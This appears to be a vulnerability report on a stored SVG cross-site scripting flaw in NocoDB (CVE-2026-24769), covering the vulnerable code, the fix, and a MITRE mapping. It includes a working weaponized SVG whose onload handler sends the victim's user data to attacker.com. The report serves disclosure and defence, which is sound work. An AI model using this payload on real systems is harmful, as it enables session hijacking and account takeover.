CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24769

No-Code, Yes-Exploit: Weaponizing SVGs in NocoDB

Alon Barad
Alon Barad
Software Engineer

Jan 29, 2026·6 min read·106 visits

Executive Summary (TL;DR)

NocoDB treated all 'images' as safe to preview, forgetting that SVGs are basically executable XML. Attackers can upload a weaponized SVG, wait for an admin to preview it, and steal their session tokens.

A critical Stored Cross-Site Scripting (XSS) vulnerability in NocoDB allows authenticated attackers to upload malicious SVG attachments. Due to lax MIME type checking and unsafe content disposition handling, these files execute arbitrary JavaScript in the victim's browser upon preview, leading to potential account takeover.

The Hook: Spreadsheets on Steroids (and Steroids are Bad for You)

NocoDB is the darling of the open-source world right now. It promises to turn your boring MySQL or PostgreSQL database into a shiny, Airtable-like smart spreadsheet. It’s a "no-code" platform, which usually translates to "we abstracted away the complexity so you don't have to look at it." Unfortunately, abstraction often hides sins.

In this case, the sin lies in how NocoDB handles attachments. Like any good collaboration tool, it lets you upload files—PDFs, JPEGs, and yes, SVGs—and attach them to rows in your database. It even offers a handy "Preview" feature so you don't have to download every single receipt your finance team uploads.

But here's the catch: When you build a feature to display images inline, you better be absolutely certain that the "image" is actually a picture, and not a trojan horse made of XML and hatred. CVE-2026-24769 is what happens when a developer assumes that if a file type contains the word "image", it must be harmless.

The Flaw: A Case of Mistaken Identity

The root of this vulnerability is a classic developer shortcut: string matching without context. In the web world, we have MIME types to tell us what a file is. image/jpeg is a photo. application/json is data. image/svg+xml is... well, it's complicated.

Scalable Vector Graphics (SVG) are not raster images like PNGs or JPGs. They are XML documents that describe lines, shapes, and colors. Crucially, the SVG standard supports the <script> tag and event handlers like onload. If a browser renders an SVG inline (i.e., not as a downloaded file), it parses that XML and executes any JavaScript it finds. It effectively becomes an HTML page.

NocoDB's logic for deciding whether to show a "Preview" button was simple. Too simple. It checked if the file's MIME type included the string "image".

> [!NOTE] > The Logic Flaw: > Does image/svg+xml include the word "image"? Yes. > Is it safe to render inline? Absolutely not.

By treating SVGs the same way as JPEGs, NocoDB rolled out the red carpet for Stored XSS. The application essentially said, "Oh, it's an image? Go ahead and run whatever code is inside it in the context of my origin."

The Code: The Smoking Gun

Let's look at the code that made this possible. The vulnerability existed in attachmentHelpers.ts. The developers needed a way to determine if a file was previewable. Their solution was this helper function:

// Vulnerable logic in attachmentHelpers.ts
const previewableMimeTypes = ['image', 'pdf', 'video', 'audio'];
 
export const isPreviewAllowed = (args: { mimetype?: string } = {}) => {
  const { mimetype } = args;
  if (!mimetype) return false;
  // THE BUG: Loose substring matching
  return previewableMimeTypes.some((type) => mimetype.includes(type));
};

This is a lazy check. It matches image/png, sure, but it also matches image/svg+xml. Once the check passes, the frontend requests the file. This leads us to the second failure in attachments.controller.ts, where the server delivers the payload:

// Vulnerable endpoint in attachments.controller.ts
@Get('/dltemp/:param(*)')
async fileReadv3(@Param('param') param: string, @Res() res: Response) {
  // THE BUG: Trusting query params for headers
  res.setHeader('Content-Type', queryParams.contentType);
  res.setHeader('Content-Disposition', queryParams.contentDisposition);
 
  // Serving the raw file
  res.sendFile(file.path);
}

The server blindly accepts Content-Disposition: inline (often derived from client-side logic or query params) and serves the file with the image/svg+xml content type. This combination forces the browser to render the SVG instead of downloading it, triggering the XSS.

The Exploit: Painting with Malice

Exploiting this requires an authenticated account, but in a corporate environment using NocoDB, that's a low bar (think: a contractor or a low-level employee). The attacker simply creates a valid SVG file that contains a nasty surprise.

Here is what a weaponized logo.svg looks like:

<svg xmlns="http://www.w3.org/2000/svg" 
     onload="fetch('/api/v1/auth/user/me').then(r=>r.json()).then(d=>fetch('https://attacker.com/log?d='+btoa(JSON.stringify(d))))">
  <rect width="100" height="100" fill="red" />
  <script>
    // Alternatively, just steal the token directly
    // alert('XSS: ' + document.cookie);
  </script>
  <text x="10" y="50" font-family="Verdana" font-size="35" fill="blue">Hello Admin!</text>
</svg>

The Attack Chain:

  1. Upload: The attacker uploads this file to a shared "Company Assets" table.
  2. Wait: The attacker waits for an administrator or another user to browse that table.
  3. Trigger: The victim clicks the file to see a preview. NocoDB serves the file inline.
  4. Execution: The onload event fires immediately. The script fetches the victim's user details (including sensitive API keys if available in the dashboard context) and sends them to attacker.com.

Because the script runs in the origin of the NocoDB instance, it bypasses Same-Origin Policy (SOP) protections.

The Impact: Why You Should Care

You might be thinking, "So what? They popped an alert box." But in the context of a database management tool, XSS is catastrophic. NocoDB is often used to manage sensitive business data, customer lists, and internal secrets.

With XSS, an attacker can:

  1. Session Hijacking: Steal the Authorisation header or session cookies, effectively becoming the victim.
  2. Data Exfiltration: Write a script to iterate through every table in the database and send the JSON data to a remote server.
  3. Privilege Escalation: If the victim is an Admin, the attacker can create a new Admin account for themselves, locking out legitimate users and gaining persistent access.

This isn't just a UI bug; it's a full compromise of the data stored within the platform.

The Fix: Closing the Window

The fix, implemented in version 0.301.0, is a lesson in being specific. The developers moved from a blocklist/loose-match approach to a strict allowlist approach.

Instead of checking if the MIME type includes "image", they now check if the MIME type is exactly one of the safe types (e.g., image/jpeg, image/png, image/gif). Crucially, image/svg+xml is excluded from the preview allowlist.

Furthermore, the backend controller was hardened. It no longer blindly trusts query parameters to set headers. It likely forces Content-Disposition: attachment for any file type that isn't on a strictly vetted safe list. This forces the browser to download the file rather than render it, neutering the XSS payload even if it is uploaded.

Lesson Learned: Never trust a file just because it claims to be an image. If it's XML-based, it's code.

Official Patches

GitHubOfficial GitHub Security Advisory
NocoDBPatch Commit (Reference)

Technical Appendix

CVSS Score
8.5/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

Affected Systems

NocoDB < 0.301.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
NocoDB
NocoDB
< 0.301.00.301.0
AttributeDetail
CVE IDCVE-2026-24769
CVSS Score8.5 (High)
Attack VectorNetwork (Stored XSS)
CWECWE-79 (XSS)
DiscoveryGitHub Security Lab AI
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1552Unsecured Credentials
Credential Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Vulnerability Disclosed by GitHub Security Lab
2026-01-28
NocoDB releases patch v0.301.0
2026-01-29

References & Sources

  • [1]GHSA-q5c6-h22r-qpwr
  • [2]NIST NVD CVE-2026-24769

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-92944
9.8

CVE-2026-92944: Sandbox Escape in vm2 via Stale V8 PromiseThenLookupChain Protector

A critical engine-level reachability failure in Node.js 26 running V8 14.6 allows attackers to escape the vm2 sandbox environment. When consecutive prototype properties are modified using sequential assignments, a V8 optimization bug fails to invalidate the PromiseThenLookupChain protector. By calling Promise.prototype.finally, the attacker bypasses the vm2 wrappers, hijacks the promise reaction using a custom constructor, triggers a calibrated stack overflow to capture a host-realm RangeError, and executes arbitrary shell commands on the host.

Alon Barad
Alon Barad
2 views•8 min read
•about 2 hours ago•CVE-2026-92939
9.9

CVE-2026-92939: Critical Sandbox Escape via Host Crypto setEngine Native Code Execution in vm2

A critical sandbox escape vulnerability in the vm2 library allows sandboxed JavaScript code to bypass containment and execute arbitrary native code on the host process. This occurs when the host's builtin crypto module is exposed to the NodeVM environment. Although vm2 implements a read-only proxy layer to restrict direct modifications to host properties, it does not prevent invocation of host-level functions. By calling the crypto.setEngine API with a path to a malicious native library on disk, an attacker can trigger OpenSSL's dynamic module loader. The host's operating system loader immediately runs the dynamic library's initializers/constructors before verifying engine compatibility, leading to remote code execution in the context of the host process.

Amit Schendel
Amit Schendel
4 views•5 min read
•about 3 hours ago•CVE-2026-92938
9.9

CVE-2026-92938: Remote Code Execution in vm2 via node:sqlite DatabaseSync Sandbox Escape

CVE-2026-92938 is a critical sandbox escape vulnerability in the vm2 library (versions 3.11.3 through 3.11.6) that allows arbitrary native code execution on the host when the node:sqlite built-in module is loaded inside a sandboxed NodeVM environment.

Amit Schendel
Amit Schendel
6 views•8 min read
•about 4 hours ago•CVE-2026-92937
10.0

CVE-2026-92937: Sandbox Escape leading to Remote Code Execution via Promise Indirection in vm2

CVE-2026-92937 is a critical sandbox escape vulnerability in the `vm2` Node.js library. Due to a logical failure in checking direct invocation targets inside the Proxy bridge, an attacker can register Promise callbacks using `Function.prototype.call` or `Function.prototype.apply` indirection. This bypasses the error sanitization wrappers, delivering raw host error objects directly to sandboxed callbacks and allowing the attacker to escape the sandbox and execute arbitrary shell commands on the host.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 5 hours ago•CVE-2026-92935
9.5

CVE-2026-92935: Remote Code Execution via Array-Shaped Require Config in vm2 NodeVM Sandbox

CVE-2026-92935 is a critical sandbox escape and remote code execution vulnerability in the vm2 library. By supplying an array or exotic object to the require property of NodeVM while nesting is enabled, attackers can bypass security checks, load the host vm2 module, and run arbitrary shell commands on the hosting server.

Alon Barad
Alon Barad
5 views•7 min read
•about 6 hours ago•CVE-2026-92949
4.0

CVE-2026-92949: Sandbox Escape and State Mutation in vm2 via Accessor Property Descriptor Leak

CVE-2026-92949 is a sandbox bypass vulnerability in the vm2 library affecting versions 3.9.6 through 3.11.6. The flaw exists due to a breakdown in the ReadOnlyHandler proxy boundary, allowing sandboxed scripts to obtain direct references to wrapped property setters on frozen host-bound objects, ultimately leading to unauthorized state modification in the host environment. This security failure violates the read-only contract enforced by the sandbox for frozen/readonly objects, though it does not by itself allow a full execution-level realm escape. Due to systemic and structural design difficulties in securing a shared-runtime JavaScript sandbox, the vm2 library has been officially deprecated.

Amit Schendel
Amit Schendel
5 views•7 min read